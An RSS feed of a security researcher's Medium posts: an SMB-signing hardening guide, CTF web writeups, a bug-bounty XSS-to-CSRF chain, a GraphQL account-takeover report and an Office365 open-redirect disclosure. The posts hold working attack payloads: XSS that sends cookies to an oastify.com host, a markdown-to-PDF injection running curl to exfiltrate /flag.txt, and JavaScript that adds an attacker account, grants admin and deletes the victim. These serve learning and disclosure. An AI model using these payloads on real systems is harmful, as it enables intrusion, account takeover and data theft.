<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by just img src eq x on Medium]]></title>
        <description><![CDATA[Stories by just img src eq x on Medium]]></description>
        <link>https://medium.com/@heinjame?source=rss-13c2290d311d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*0LCsgZMN5KDYWv7z</url>
            <title>Stories by just img src eq x on Medium</title>
            <link>https://medium.com/@heinjame?source=rss-13c2290d311d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 04:04:34 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@heinjame/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Enable SMB signing in Linux]]></title>
            <link>https://medium.com/@heinjame/enable-smb-signing-in-linux-930b576079fd?source=rss-13c2290d311d------2</link>
            <guid isPermaLink="false">https://medium.com/p/930b576079fd</guid>
            <category><![CDATA[smb-relay]]></category>
            <category><![CDATA[smb]]></category>
            <dc:creator><![CDATA[just img src eq x]]></dc:creator>
            <pubDate>Mon, 30 Oct 2023 09:50:13 GMT</pubDate>
            <atom:updated>2023-10-30T10:16:12.457Z</atom:updated>
            <content:encoded><![CDATA[<p>To enable SMB signing in Linux, you need to make changes to your Samba configuration, which is the software suite that provides SMB/CIFS services. SMB signing helps ensure the integrity and authenticity of data transferred over the network. Here’s a guide on how to enable SMB signing in Linux:</p><blockquote>It’s always very important to make a backup before changing the configuration files.</blockquote><ol><li><strong>Backup your smb.conf file</strong>:<br> It’s essential to create a backup of your Samba configuration file before making any changes:</li></ol><pre> sudo cp /etc/samba/smb.conf /etc/samba/smb.conf.bak</pre><p>2. <strong>Edit the smb.conf file</strong>:<br> Open the Samba configuration file (`smb.conf`) in your preferred text editor. You’ll need superuser privileges to do this:</p><pre>sudo nano /etc/samba/smb.conf</pre><p>3. <strong>Locate the global section</strong>:<br> In the `smb.conf` file, find the `[global]` section. This is where you’ll configure global settings for your Samba server.</p><p>4. <strong>Add or modify the following parameters</strong> to enable SMB signing:</p><pre>server signing = auto</pre><p>This option enables SMB signing. It’s set to “auto” by default, which means that SMB signing is enabled if the client requests it. You can set it to “mandatory” to enforce SMB signing on all connections.</p><pre>client signing = auto</pre><p>Similar to `server signing`, this option enables SMB signing on the client side. You can set it to “mandatory” if you want to enforce SMB signing on the client.</p><p>Example:</p><pre> [global]<br> server signing = mandatory<br> client signing = mandatory<br> </pre><p>5. <strong>Save the smb.conf file and exit the text editor</strong>.</p><p>6. <strong>Restart the Samba service</strong> to apply the changes:</p><pre> sudo service smbd restart # For Upstart-based systems<br> sudo systemctl restart smbd # For systemd-based systems</pre><p>SMB signing should now be enabled on your Linux Samba server, and it will require signing for all client connections. Please note that enabling SMB signing may cause a slight increase in CPU usage due to the cryptographic operations involved. Additionally, ensure that your SMB clients support SMB signing, as older or non-Windows clients might not handle this feature well.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=930b576079fd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[2022 CTF — Web challenges Writeup]]></title>
            <link>https://medium.com/@heinjame/2022-ctf-web-challenges-writeup-2d1269b5d1ec?source=rss-13c2290d311d------2</link>
            <guid isPermaLink="false">https://medium.com/p/2d1269b5d1ec</guid>
            <category><![CDATA[code-review]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[web-pen-testing]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[just img src eq x]]></dc:creator>
            <pubDate>Fri, 09 Dec 2022 07:59:22 GMT</pubDate>
            <atom:updated>2022-12-09T07:59:22.518Z</atom:updated>
            <content:encoded><![CDATA[<h3>2022 CTF — Web challenges Writeup</h3><p>I managed to solve all the web challenge and all miscellaneous challenges.</p><h4><strong>Web challenge 1 —Blog (300 points)</strong></h4><p>The challenge gave us a source codes and web URL. In the source, it provide all the code base of the web application.</p><blockquote>“Every time I do code review, I always check for routes first. So that we can see endpoints and it’s related function calls. “</blockquote><p>In the routes/index.js we see many endpoint,</p><ol><li>/api/register</li><li>/api/login</li><li>/feed</li><li>/submissions</li><li>/review</li><li>/api/submit</li><li>/logout</li></ol><p>We can skip testing for SQL injection because all the database query used <strong>prepare statement</strong>. You can see in the image below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0MFD6umxXwy3VFu-vvO-LA.png" /></figure><p>The interesting part is in the <em>/api/submit</em> endpoint. It makes a function call to <strong>bot.reviewPost()</strong> which can be found in the bot.js.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nh4UbUACXSIZqI9y_92aBg.png" /><figcaption>/route/index.js</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hk2ifH0A_VfTZ2l9xJdTZg.png" /><figcaption>bot.js</figcaption></figure><p>The code does if we submit a post, admin will review our post. So the attack scenario must be the Cross Site Scripting attack. Yes, there is no filtering user inputs so we can steal admin cookie for sure. So send the payload via post content. After admin reviewed our post we will get the cookie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ongkH8q-w-R9D8tnjy09gA.png" /><figcaption>payload send to the admin</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XnIyRs8pRrDjpTsMMME2kg.png" /><figcaption>Flag received</figcaption></figure><p>The flag —</p><h4>Web challenge 2 —Forum(325 points)</h4><p>This challenge is a little bit the same as Quote Blog challenge. It does if we report post, the post will be viewed by admin. According to code review they used prepare statement so we can skip for SQL injection. After checked for /api/report we can see that there is a function call bot.visitPost(id) without any filtering.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fWRxsmnXnO4sb2lOEOfPFA.png" /><figcaption>/routes/index.js</figcaption></figure><p>If we carefully look at the source code of bot.js, we will see that the admin will redirect to the endpoint with our input.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Ks6dM922D4WfAl22K_Szw.png" /><figcaption>bot.js</figcaption></figure><p>So we need to think about scenario, we can’t inject XSS payload in the post id since it use ${id} therefore the scenario is to redirect admin to XSS vulnerable URL. We can found that the search box is vulnerable to XSS attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QWcMjxMr3Y_2X9d-2lDHOA.png" /><figcaption>XSS 1</figcaption></figure><p>We have to think how we can sent the XSS url to the admin. There is always solution for the CTF. After we checked in source code, we could see the file forum.js. In the source code, the search parameter did not check for specific endpoint which mean that we can use search parameter in every endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TPqkoEz1wTjnj8bZ01WTmQ.png" /><figcaption>forum.js</figcaption></figure><p>To get the flag — combine the XSS payload in the URL and report to the server. After admin review our post we got the flag.</p><p>The final payload — <strong>3?search=&lt;img/src=x onerror=alert(document.location=”https://webhook.oastify.com?c=&quot;%2bdocument.cookie)&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3AREn6Fw0FinGzrtKhGc1g.png" /><figcaption>XSS 2</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hdEXjCTrXmiBuZn2tX_Ucw.png" /><figcaption>Flag</figcaption></figure><p>So the final flag is</p><h4>Web challenge 3 — Shoe (325 Points)</h4><p>For this challenge we got source code and it’s URL. Application nature is online shop we can search for the products.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SXws2iVatE4wcP3IgWltSQ.png" /></figure><p>After take a look a code. It’s simply SQL injection since it does not used prepare statement in the database query.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QrbZESFDmr1x5m0A_A0kXw.png" /><figcaption>SQLi</figcaption></figure><p>So we know the site is vulnerable to SQL injection. There is no interesting data in the database. So it might be useless to dump all data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*smEt_oehDty-aPpMMOMvoQ.png" /><figcaption>Database info</figcaption></figure><p>So we might execute commend in the system to get the flag. I tried to run with SQL map with — os-shell and able to get RCE to the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IAIn43utdp6c37ynor5JLQ.png" /></figure><p>Flag —</p><p>Web challenge 4 — MadDog (325 Points)</p><ul><li>The application logic — They give us full source code and web application. To get the flag we need to be admin. To become admin we need jwt key since application used JWT session.</li></ul><p>Let start by looking at the source code. It’s also vulnerable to SQL injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nkDp-1vxB3v6gwIebPcpjA.png" /><figcaption>SQLi</figcaption></figure><p>This time we need to run SQL map to dump all the data inside the database because it stored keys inside the database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*coLzuZkVk7b2kfEFSSasvg.png" /><figcaption>SQL info</figcaption></figure><p>After we dump with SQL map we got 2 keys. one for devkey and another one for production key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dgRYdvNKMxwn8apK5RoTnA.png" /></figure><p>So we used prodkey to encrypt JWT. Replaced username to “admin”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3ynZGoIvP6dHIswJ86xGFA.png" /></figure><p>After that we made request to index page with crafted JWT, we got the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-jNqtqtrfkayB66km1odKA.png" /><figcaption>Flag</figcaption></figure><p>Flag —</p><h4>Web challenge 5 — Gun(125 points)</h4><p>This challenge is straight forward. There is only one endpoint to look. The endpoint do function call to <strong>nunjucks.renderString</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vUhb0uUCpMVcFgDIKFfFnA.png" /><figcaption>Nunjucks</figcaption></figure><p>Actually nunjucks is public library. The application used “nunjucks”: “3.2.2” which have prototype pollution vulnerability. We can found source here — <a href="https://github.com/mozilla/nunjucks/issues/1331">https://github.com/mozilla/nunjucks/issues/1331</a></p><p>So we know the vulnerability and craft the request and send to the system. We got flag by remote code execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RAoNHZRlfynHdysTbw3eMg.png" /><figcaption>Flag</figcaption></figure><p>Final flag —</p><p>Thanks for reading</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2d1269b5d1ec" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CSAW Quals 2022 Web writeups]]></title>
            <link>https://medium.com/@heinjame/csaw-quals-2022-web-writeups-5e2469a08db6?source=rss-13c2290d311d------2</link>
            <guid isPermaLink="false">https://medium.com/p/5e2469a08db6</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[just img src eq x]]></dc:creator>
            <pubDate>Thu, 15 Sep 2022 04:30:06 GMT</pubDate>
            <atom:updated>2022-09-15T04:30:06.164Z</atom:updated>
            <content:encoded><![CDATA[<p>I owned two web challenges in CSAW CTF. Here are my write-ups for the challenges. PS. <strong>I’m looking for CTF team to go crazy together in the upcoming CTF event</strong>. My CTF time — <a href="https://ctftime.org/team/61044">https://ctftime.org/team/61044</a></p><p>Let start!!!!</p><h3>Word Wide Web</h3><p>The challenge is static page that include ‘href’ links inside the source. If we clicked on link, the cookie name is appended into original cookie. To get the flag, we need to click all the hyper link. We also need to change the cookie in pattern so that we will get the right flag otherwise we will get Booooo!</p><p>Sample request</p><pre>GET /is HTTP/1.1<br>Host: web.chal.csaw.io:5010<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate<br>Connection: close<br>Cookie: solChain=stuff sa<br>Upgrade-Insecure-Requests: 1</pre><p>Response</p><pre>HTTP/1.1 200 OK<br>X-Powered-By: Express<br>Content-Type: text/html; charset=utf-8<br>Content-Length: 7<br>ETag: W/&quot;7-qRI5dwCCBD41jJ9BqXlCJAXfCdk&quot;<br>Date: Sun, 11 Sep 2022 16:21:09 GMT<br>Connection: close</pre><pre>Booooo!</pre><p>It will not possible if we click manually so i wrote script for the challenge.</p><pre>import requests # to make request</pre><pre>from bs4 import BeautifulSoup # to filter the html tags</pre><pre>url = &quot;http://web.chal.csaw.io:5010&quot; ## out target</pre><pre>flag = True ## to run simultaneously</pre><pre>initialcookie = &quot;stuff&quot; # first cookie</pre><pre>initialendpoint = &quot;/stuff&quot; # first dir to click</pre><pre>while flag: # start the loop</pre><pre>cookies = {&#39;solChain&#39;: initialcookie}</pre><pre>res = requests.get(url+initialendpoint,cookies=cookies) # we sent get request including cookie</pre><pre># print(res)</pre><pre>soup = BeautifulSoup(res.text)</pre><pre>for a in soup.find_all(&#39;a&#39;, href=True):</pre><pre>    next = a[&#39;href&#39;] # filter the next page</pre><pre>    if next == initialendpoint: # check whether final endpoint</pre><pre>         print(res.text) # print flag</pre><pre>         flag = False #break the loop</pre><pre>    initialcookie = initialcookie + &quot; &quot; + next.strip(&quot;/&quot;) # append cookie</pre><pre>    initialendpoint = next # overwrite the endpoint</pre><pre>    # print(initialcookie)</pre><p>Final flag — CTF{w0rdS_4R3_4mAz1nG_r1ght}</p><h3>My little website</h3><p>This challenge is to convert MD texts into PDF. I found that application is vulnerable to <a href="https://github.com/advisories/GHSA-x949-7cm6-fm6p">CVE-2021–23639</a>.</p><p>The payload to directory listing.</p><pre>---js<br>{<br>    css: `body::before { content: &quot;${require(&#39;fs&#39;).readdirSync(&#39;/&#39;).join()}&quot;; display: block }`,<br>}<br>---</pre><p>We will see the directories inside the web application. Next we need to read flag.txt. There are many ways to get the flag. I tried with curl and burp collaborator to get the flag.</p><p>Here is my payload —</p><pre>---js<br>((require(&quot;child_process&quot;)).execSync<br>(&quot;curl xxx.oastify.com?flag=$(cat /flag.txt)&quot;))<br>---</pre><p>We got the flag that is attached in the URL.</p><pre>GET /?flag=CTFpdf_c0nt1nu3s_70_5uCK HTTP/1.1<br>Host: xxx.oastify.com<br>User-Agent: curl/7.74.0<br>Accept: */*</pre><p>Final flag — CTF{pdf_c0nt1nu3s_70_5uCK}</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5e2469a08db6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[XSS to multiple bugs (XSS is not about stealing cookie)]]></title>
            <link>https://medium.com/@heinjame/xss-to-multiple-bugs-xss-is-not-about-stealing-cookie-752bfb4b5feb?source=rss-13c2290d311d------2</link>
            <guid isPermaLink="false">https://medium.com/p/752bfb4b5feb</guid>
            <dc:creator><![CDATA[just img src eq x]]></dc:creator>
            <pubDate>Sun, 11 Sep 2022 16:07:53 GMT</pubDate>
            <atom:updated>2022-09-11T16:07:53.147Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi, It been a long time no dive into bug bounty. During this day, I got COVID and so my company want me to stay at home. So I restart hunting bugs in Zerocopter platform.</p><p>When I was junior kiddie (now senior kiddie), If i founded some bugs in program, I immediately report to the program. Now I knew that It was really bad idea. So Let start about what I founded.</p><p>About the bug —Vulnerability is chaining of 3 bugs to get real attack scenario. The first one is XSS. To get real attack scenario, we need to send our payload link to the admin. Isn’t?. So we need to look for the function that can communicated with target victim. The final one is CSRF, which can perform administrative function like delete account, add account. In this scenario, I’ll do <strong>Sent payload the admin &gt; Unauthorized add my account</strong> &gt; <strong>Privilege escalate </strong>&gt; <strong>Remove victim from website &gt; Own the company</strong>.</p><p>In the first day, I found reflected XSS in targeted program. The XSS URL &gt;&gt;</p><p><a href="https://target.com/unsupported-browser/?vulnparameter=&#39;);alert(1)//">https://target.com/unsupported-browser/?vulnparameter=&#39;);alert(1)//</a></p><p>This time, I didn’t report immediately xD. I got XSS, next is to send malicious link to victim. I found that we can put link in the agent invite function. But there is character limit in the input. So I shortened the URL to bypass character limit. We got the email like that.</p><blockquote>Hi there,</blockquote><blockquote>You were invited to join a ******** session by Leader.<br>To join this session, please open the following link in a browser: https:// tinyurl.com/clickme</blockquote><p>Now, we need to craft payload to bypass CSRF. The below payload is to <strong>add user</strong> to victim company.</p><pre>const bb = new XMLHttpRequest();</pre><pre>bb.addEventListener(&#39;load&#39;, adduser);</pre><pre>bb.open(&#39;GET&#39;, &#39;/agents/profile/&#39;);</pre><pre>bb.send();</pre><pre>function adduser(){</pre><pre>var token = this.responseText.match(/name=&quot;csrfmiddlewaretoken&quot; value=&quot;(\w%2b)&quot;/)[1];</pre><pre>console.log(token);</pre><pre>var addagent= new XMLHttpRequest();</pre><pre>addagent.open(&#39;post&#39;,&#39;/invite/agent/&#39;,true);</pre><pre>addagent.setRequestHeader(&#39;Content-type&#39;, &#39;application/x-www-form-urlencoded&#39;);</pre><pre>addagent.send(&#39;csrfmiddlewaretoken=&#39;%2btoken%2b&#39;%26agent_email=<strong>attacker%40gmail.com</strong>%26agent_name=abcdef%26company_id=&#39;);</pre><pre>}</pre><p>Payload 2 — To <strong>escalate privilege</strong>.</p><pre>const cc = new XMLHttpRequest();</pre><pre>cc.addEventListener(&#39;load&#39;, privesc);</pre><pre>cc.open(&#39;GET&#39;, &#39;/agents/profile/&#39;);</pre><pre>cc.send();</pre><pre>function privesc(){</pre><pre>var token = this.responseText.match(/name=&quot;csrfmiddlewaretoken&quot; value=&quot;(\w%2b)&quot;/)[1];</pre><pre>var addagent= new XMLHttpRequest();</pre><pre>addagent.open(&#39;post&#39;,&#39;/update/company/agent/role/&#39;,true);</pre><pre>addagent.setRequestHeader(&#39;Content-type&#39;, &#39;application/x-www-form-urlencoded&#39;);</pre><pre>addagent.send(&#39;csrfmiddlewaretoken=&#39;%2btoken%2b&#39;%26agent=312797%26<strong>role=admin</strong>%26managed_company=125065&#39;);</pre><pre>}</pre><p>Payload 3 — <strong>Remove victim</strong> from company</p><pre>const dd = new XMLHttpRequest();</pre><pre>dd.addEventListener(&#39;load&#39;, handle2);</pre><pre>dd.open(&#39;GET&#39;, &#39;/agents/profile/&#39;);</pre><pre>dd.send();</pre><pre>function handle2(){</pre><pre>var token = this.responseText.match(/name=&quot;csrfmiddlewaretoken&quot; value=&quot;(\w%2b)&quot;/)[1];</pre><pre>console.log(token);</pre><pre>var addagent= new XMLHttpRequest();</pre><pre>addagent.open(&#39;post&#39;,&#39;/delete/account/&#39;,true);</pre><pre>addagent.setRequestHeader(&#39;Content-type&#39;, &#39;application/x-www-form-urlencoded&#39;);</pre><pre>addagent.send(&#39;csrfmiddlewaretoken=&#39;%2btoken);</pre><pre>}</pre><p>We got payload based on attack scenario. So we combined all the payload and put the payload in the vulnerable parameter and sent to the victim. When user clicked on the link, we successfully takeover the company.</p><p>Final URL with the payload</p><pre><a href="https://target.com/unsupported-browser/?vulnparameter=&#39;);const">https://target.com/unsupported-browser/?vulnparameter=&#39;);const</a> bb = new XMLHttpRequest();bb.addEventListener(&#39;load&#39;, adduser);bb.open(&#39;GET&#39;, &#39;/agents/profile/&#39;);bb.send();function adduser(){var token = this.responseText.match(/name=&quot;csrfmiddlewaretoken&quot; value=&quot;(\w%2b)&quot;/)[1];console.log(token);var addagent= new XMLHttpRequest();addagent.open(&#39;post&#39;,&#39;/update/company/agent/role/&#39;,true);addagent.setRequestHeader(&#39;Content-type&#39;, &#39;application/x-www-form-urlencoded&#39;);addagent.send(&#39;csrfmiddlewaretoken=&#39;%2btoken%2b&#39;%26agent_email=attacker%40gmail.com%26agent_name=abcdef%26company_id=&#39;);}const cc = new XMLHttpRequest();cc.addEventListener(&#39;load&#39;, privesc);cc.open(&#39;GET&#39;, &#39;/agents/profile/&#39;);cc.send();function privesc(){var token = this.responseText.match(/name=&quot;csrfmiddlewaretoken&quot; value=&quot;(\w%2b)&quot;/)[1];var addagent= new XMLHttpRequest();addagent.open(&#39;post&#39;,&#39;/update/company/agent/role/&#39;,true);addagent.setRequestHeader(&#39;Content-type&#39;, &#39;application/x-www-form-urlencoded&#39;);addagent.send(&#39;csrfmiddlewaretoken=&#39;%2btoken%2b&#39;%26agent=312797%26role=admin%26managed_company=125065&#39;);}const dd = new XMLHttpRequest();dd.addEventListener(&#39;load&#39;, handle2);dd.open(&#39;GET&#39;, &#39;/agents/profile/&#39;);dd.send();function handle2(){var token = this.responseText.match(/name=&quot;csrfmiddlewaretoken&quot; value=&quot;(\w%2b)&quot;/)[1];console.log(token);var addagent= new XMLHttpRequest();addagent.open(&#39;post&#39;,&#39;/delete/account/&#39;,true);addagent.setRequestHeader(&#39;Content-type&#39;, &#39;application/x-www-form-urlencoded&#39;);addagent.send(&#39;csrfmiddlewaretoken=&#39;%2btoken);}//</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*Hm7O3_2kgNdrywldt7T_nQ.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=752bfb4b5feb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Account take over in HR application]]></title>
            <link>https://medium.com/@heinjame/account-take-over-in-hr-application-aada7c2537cb?source=rss-13c2290d311d------2</link>
            <guid isPermaLink="false">https://medium.com/p/aada7c2537cb</guid>
            <category><![CDATA[broken-access-control]]></category>
            <category><![CDATA[account-takeover]]></category>
            <dc:creator><![CDATA[just img src eq x]]></dc:creator>
            <pubDate>Mon, 17 Jan 2022 08:42:59 GMT</pubDate>
            <atom:updated>2022-09-11T17:14:47.631Z</atom:updated>
            <content:encoded><![CDATA[<h3>Journey to GraphQL ATO</h3><p>Here is request Graphql parameter to change user password.</p><pre>{<br>&quot;operationName&quot;:&quot;resetpassword&quot;,<br>&quot;variables&quot;:{<br>      &quot;id&quot;:&quot;123&quot;,<br>      &quot;mail_to_employee&quot;:true,<br>}<br>&quot;query&quot;:&quot;this is graphql query&quot;<br>}</pre><p>To start an attack, the attacker needs an account and if he wants to change the other password, he just needs to change the id to victim id but the reset email is sent only to the account owner’s email.</p><p>After many guesses, I founded another parameter that is <strong><em>mail_to_me. </em></strong>so I changed my request to <strong><em>mail_to_me:true</em></strong> and <strong><em>mail_to_employee:false</em></strong>.</p><pre>{<br>&quot;operationName&quot;:&quot;resetpassword&quot;,<br>&quot;variables&quot;:{<br>      &quot;id&quot;:&quot;123&quot;,<br>      &quot;mail_to_employee&quot;:false,<br>      &quot;mail_to_me&quot;:true<br>     }<br>&quot;query&quot;:&quot;this is graphql query&quot;<br>}</pre><p>Updated the graphql query and then i was able to take over all accounts of the targeted company.</p><h3>Why did this happen?</h3><p>This is because of lack of security in authorization and letting users to request unnecessary parameters.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aada7c2537cb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Office365 Open Redirect From Autodiscover]]></title>
            <link>https://medium.com/@heinjame/office365-open-redirect-from-autodiscover-64284d26c168?source=rss-13c2290d311d------2</link>
            <guid isPermaLink="false">https://medium.com/p/64284d26c168</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[bugs]]></category>
            <dc:creator><![CDATA[just img src eq x]]></dc:creator>
            <pubDate>Tue, 25 Feb 2020 06:45:40 GMT</pubDate>
            <atom:updated>2022-09-30T04:40:18.677Z</atom:updated>
            <content:encoded><![CDATA[<p>I found this script that check our target email is valid or not.So i download it and analyse the script.</p><pre><a href="https://github.com/Raikia/UhOh365">https://github.com/Raikia/UhOh365</a><br>r = requests.get(&#39;https://outlook.office365.com/autodiscover/autodiscover.json/v1.0/{}@{}?Protocol=Autodiscoverv1&#39;.format(junk_user, domain), headers=headers, verify=args.nossl, allow_redirects=False, proxies=proxies)</pre><p>This url does when email is valid or not,we have redirect to <a href="https://autodiscover.website.com/">https://autodiscover.attacker.com</a></p><pre><a href="https://outlook.office365.com/autodiscover/autodiscover.json/v1.0/anyname@attacker.com?Protocol=Autodiscoverv1">https://outlook.office365.com/autodiscover/autodiscover.json/v1.0/anyname@attacker.com?Protocol=Autodiscoverv1</a></pre><p>So this can abuse to open redirect attack.</p><p>Step to reproduce</p><ul><li>Attacker need a website with autodiscover subdomain</li><li>Victim will think URL come from real office365</li><li>Easy phishing</li></ul><p>Wed, Oct 30, 2019, 4:18 PM — Reported to MSRC</p><p>Wed, Nov 6, 2019, 6:47 AM — They opened case</p><p>Wed, Nov 13, 2019, 1:39 AM — They changed status to Develop</p><p>Wed, Jan 8, 6:02 AM — They replied they will not fix in current version</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=64284d26c168" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Untitled]]></title>
            <link>https://medium.com/@heinjame/one-fine-day-c2ea4ef66a5b?source=rss-13c2290d311d------2</link>
            <guid isPermaLink="false">https://medium.com/p/c2ea4ef66a5b</guid>
            <dc:creator><![CDATA[just img src eq x]]></dc:creator>
            <pubDate>Tue, 25 Feb 2020 06:10:07 GMT</pubDate>
            <atom:updated>2020-02-25T06:46:02.360Z</atom:updated>
            <content:encoded><![CDATA[<p></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c2ea4ef66a5b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>